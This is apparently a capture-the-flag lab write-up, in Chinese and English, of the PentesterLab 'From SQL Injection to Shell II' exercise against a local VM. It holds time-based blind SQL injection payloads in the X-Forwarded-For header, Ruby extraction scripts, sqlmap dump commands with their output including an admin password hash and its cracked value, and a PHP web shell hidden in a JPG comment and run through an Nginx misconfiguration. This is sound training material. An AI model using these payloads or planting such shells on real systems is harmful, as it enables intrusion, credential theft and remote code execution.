From SQL Injection to Shell II

Reference

Writeup

Detection of SQL injection

  • X-Forwarded-Forheader裡送出:
    • hack' or sleep(1) and '1'='1
    • hack' or sleep(1) #
    • hack' or sleep(1) -- -
  • 使用curl送payload
    • curl -I http://10.0.2.152:80 -X HEAD -H 'X-Forwarded-For: hack'\'' or sleep(1) and '1'='1'
    • curl -I http://10.0.2.152:80 -X HEAD -H 'X-Forwarded-For: hack'\'' or sleep(1) #'
    • curl -I http://10.0.2.152:80 -X HEAD -H 'X-Forwarded-For: hack'\'' or sleep(1) -- -'
  • 或使用nc送payload
    • echo -ne "HEAD / HTTP/1.0\r\nX-Forwarded-For: hacker' or sleep(1) and '1'='1\r\nConnection: close\r\n\r\n" | netcat 10.0.2.152 80
    • echo -ne "HEAD / HTTP/1.0\r\nX-Forwarded-For: hacker' or sleep(1) #\r\nConnection: close\r\n\r\n" | netcat 10.0.2.152 80
    • echo -ne "HEAD / HTTP/1.0\r\nX-Forwarded-For: hacker' or sleep(1) -- -\r\nConnection: close\r\n\r\n" | netcat 10.0.2.152 80
  • sleep()參數設為01比較結果,發現設0的會立即回應,設1的等待一會才回應,因此可以確定有SQL Injection。
  • Using Connection: close tells the server to close the connection after processing our request. This will ensure that the command returns immediatly.
  • sqlmap預設不會對X-Forwarded-Forheader進行測試

Exploitation of Blind SQL injection

  • Manual猜版本: 5.1.66
    hacker' or if(substring(@@version,1,1)='5', sleep(0.5), 0) #
    hacker' or if(substring(@@version,2,1)='.', sleep(0.5), 0) #
    hacker' or if(substring(@@version,3,1)='1', sleep(0.5), 0) #
    hacker' or if(substring(@@version,4,1)='.', sleep(0.5), 0) #
    hacker' or if(substring(@@version,5,1)='6', sleep(0.5), 0) #
    hacker' or if(substring(@@version,6,1)='6', sleep(0.5), 0) #
    

SUBSTRING(string, position, length)

  • 猜目前使用者: pentesterlab@localhost

    • Manual
      hacker' or if((select ascii(substring((select user()),1,1))&1),sleep(0.5),0) and '1'='1
      hacker' or if((select ascii(substring((select user()),1,1))&2),sleep(0.5),0) and '1'='1
      hacker' or if((select ascii(substring((select user()),1,1))&4),sleep(0.5),0) and '1'='1
      ...
      hacker' or if((select ascii(substring((select user()),1,1))&64),sleep(0.5),0) and '1'='1
      hacker' or if((select ascii(substring((select user()),2,1))&1),sleep(0.5),0) and '1'='1
      hacker' or if((select ascii(substring((select user()),2,1))&2),sleep(0.5),0) and '1'='1
      ...
      hacker' or if((select ascii(substring((select user()),2,1))&64),sleep(0.5),0) and '1'='1
      hacker' or if((select ascii(substring((select user()),3,1))&1),sleep(0.5),0) and '1'='1
      ...
      hacker' or if((select ascii(substring((select user()),23,1))&64),sleep(0.5),0) and '1'='1
      
    • Ruby

      require 'socket'
      
      inj = "select user()"
      str = ""
      
      def test(sql)
        p = "hacker' or if((#{sql}),sleep(0.5),0) and '1'='1"
        t = Time.now
        begin
          s = TCPSocket.new("10.0.2.152",80)
          s.write("GET / HTTP/1.1\r\nHost: 10.0.2.152\r\nX-Forwarded-For: #{p}\r\nConnection: close\r\n\r\n")
          s.readlines()
          s.close
        rescue Errno::ECONNRESET, EOFError
        end
        return ((Time.now-t)>0.5)
      end
      
      # dummy initialisation for the while loop
      # we loop until the returned value is null
      value = 1
      i = 0
      
      while value != 0
        # i is the position in the string
        i+=1
        # initialise to 0 the value we are trying to retrieve
        value = 0
        # for each bit
        0.upto(6) do |bit|
          # 2**bit is 2^bit and will do all the bit masking work
          sql = "select ascii(substring((#{inj}),#{i},1))&#{2**bit}"
          if test(sql)
            # if the returned value is true
            # we add the mask to the current_value
            value+=2**bit
          end
        end
        # value is an ascii value, we get the corresponding character
        # using the `.chr` ruby function
        str+= value.chr
        puts str
      end
      
      p
      pe
      pen
      pent
      pente
      ...
      pentesterlab@localho
      pentesterlab@localhos
      pentesterlab@localhost
      pentesterlab@localhost
      
  • 猜table或column (需使用Dump multiple rows的code)
    • 猜table:
      SELECT table_name FROM information_schema.tables WHERE table_schema != 'information_schema'
      
    • 猜column:
      SELECT column_name FROM information_schema.columns WHERE table_schema != 'information_schema'
      
    • 從table name找column:
      SELECT column_name FROM information_schema.columns WHERE table_name = 'stats'
      
    • 從column name找table:
      SELECT table_name FROM information_schema.columns WHERE column_name = 'ip' AND table_schema != 'information_schema'
      
    • 最後得到的table column對應表
Table Column
categories id, title
pictures id, title, img, cat
stats ip, count
users id, login
  • Dump multiple rows

    require 'socket'
    
    inj = "SELECT table_name FROM information_schema.tables WHERE table_schema != 'information_schema' "
    str = ""
    
    def test(sql)
      p = "hacker' or if((#{sql}),sleep(0.5),0) and '1'='1"
      t = Time.now
      begin
        s = TCPSocket.new("10.0.2.152",80)
        s.write("GET / HTTP/1.1\r\nHost: 10.0.2.152\r\nX-Forwarded-For: #{p}\r\nConnection: close\r\n\r\n")
        s.readlines()
        s.close
      rescue Errno::ECONNRESET, EOFError
      end
      return ((Time.now-t)>0.5)
    end
    
    # dummy initialisation for the while loop
    # we loop until the returned value is null
    index = 0
    
    while index < 10
      newinj = inj + " limit #{index},1"
      i = 0
      str =""
      value = 1
      while value != 0
        i+=1
        value = 0
        0.upto(6) do |bit|
          # using the new variable
          sql = "select ascii(substring((#{newinj}),#{i},1))&#{2**bit}"
          if test(sql)
          # if the returned value is true
          # we add the mask to the current_value
            value+=2**bit
          end
        end
        str+= value.chr
        puts str
      end
      index += 1
    end
    
  • 最後從users table抓出帳密
    SELECT CONCAT(login,':',password) FROM users "
    
    • admin:8efe310f9ab3efeae8d410a8e0166eb2

Exploitation with SQLMap

  • X-Forwarded-For進行注入
    • 挖banner: sqlmap -u "http://10.0.2.152/" --headers="X-Forwarded-For: *" --banner
      5.1.66-0+squeeze1
      web application technology: PHP 5.3.3, Nginx
      back-end DBMS: MySQL >= 5.0.12
      banner:    '5.1.66-0+squeeze1'
      
    • 挖databases: sqlmap -u "http://10.0.2.152/" --headers="X-Forwarded-For: *" --dbs
      available databases [2]:
      [*] information_schema
      [*] photoblog
      
    • 挖photoblog資料庫的tables: sqlmap -u "http://10.0.2.152/" --headers="X-Forwarded-For: *" -D photoblog --tables
      Database: photoblog
      [4 tables]
      +------------+
      | categories |
      | pictures   |
      | stats      |
      | users      |
      +------------+
      
    • 挖users table的columns: sqlmap -u "http://10.0.2.152/" --headers="X-Forwarded-For: *" -D photoblog -T users --columns
      Database: photoblog
      Table: users
      [3 columns]
      +----------+--------------+
      | Column   | Type         |
      +----------+--------------+
      | id       | mediumint(9) |
      | login    | varchar(50)  |
      | password | varchar(50)  |
      +----------+--------------+
      
    • dump使用者帳密: sqlmap -u "http://10.0.2.152/" --headers="X-Forwarded-For: *" -D photoblog -T users --dump --batch
      Database: photoblog
      Table: users
      [1 entry]
      +----+-------+---------------------------------------------+
      | id | login | password                                    |
      +----+-------+---------------------------------------------+
      | 1  | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
      +----+-------+---------------------------------------------+
      
  • Using the option --batch will tell SQLMap to use the default behaviour and to avoid asking for user input.
  • You can also use --dump-all if you just want to get all the database content (may be really slow).
  • You can also use --exclude-sysdbs to avoid dumping the system databases/tables and only retrieve the ones not present by default.

Access to the administration pages and code execution

  • 建立single-line php shell: shell.php
    <?php system($_GET['c']); ?>
    
  • 利用exiftoolshell.php加到圖片裡(建議圖片size越小越好,本例子為7K,太大會失敗)
    • exiftool "-comment<=shell.php" 1124811886_q.jpg
      root@kali:~/Pictures# exiftool 1124811886_q.jpg
      ExifTool Version Number         : 10.28
      File Name                       : 1124811886_q.jpg
      Directory                       : .
      File Size                       : 7.0 kB
      ...
      Comment                         : <?php system($_GET['c']); ?>.
      

      This exercise can also be solved by adding the malicious payload at the end of a JPG file.

  • 上傳圖片,最後圖片連結為http://10.0.2.152/admin/uploads/1478198907.jpg
  • 利用Nginx/PHP不當設定的漏洞https://nealpoole.com/blog/2011/04/setting-up-php-fastcgi-and-nginx-dont-trust-the-tutorials-check-your-configuration/ ,在惡意圖片連結後面加上/somefilename.php?,即可任意執行commands
  • 執行system commands:
    • http://10.0.2.152/admin/uploads/1478198907.jpg/c.php?c=uname%20-a
      • Linux debian 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 GNU/Linux
    • http://10.0.2.152/admin/uploads/1478198907.jpg/c.php?c=id
      • uid=33(www-data) gid=33(www-data) groups=33(www-data)

results matching ""

    No results matching ""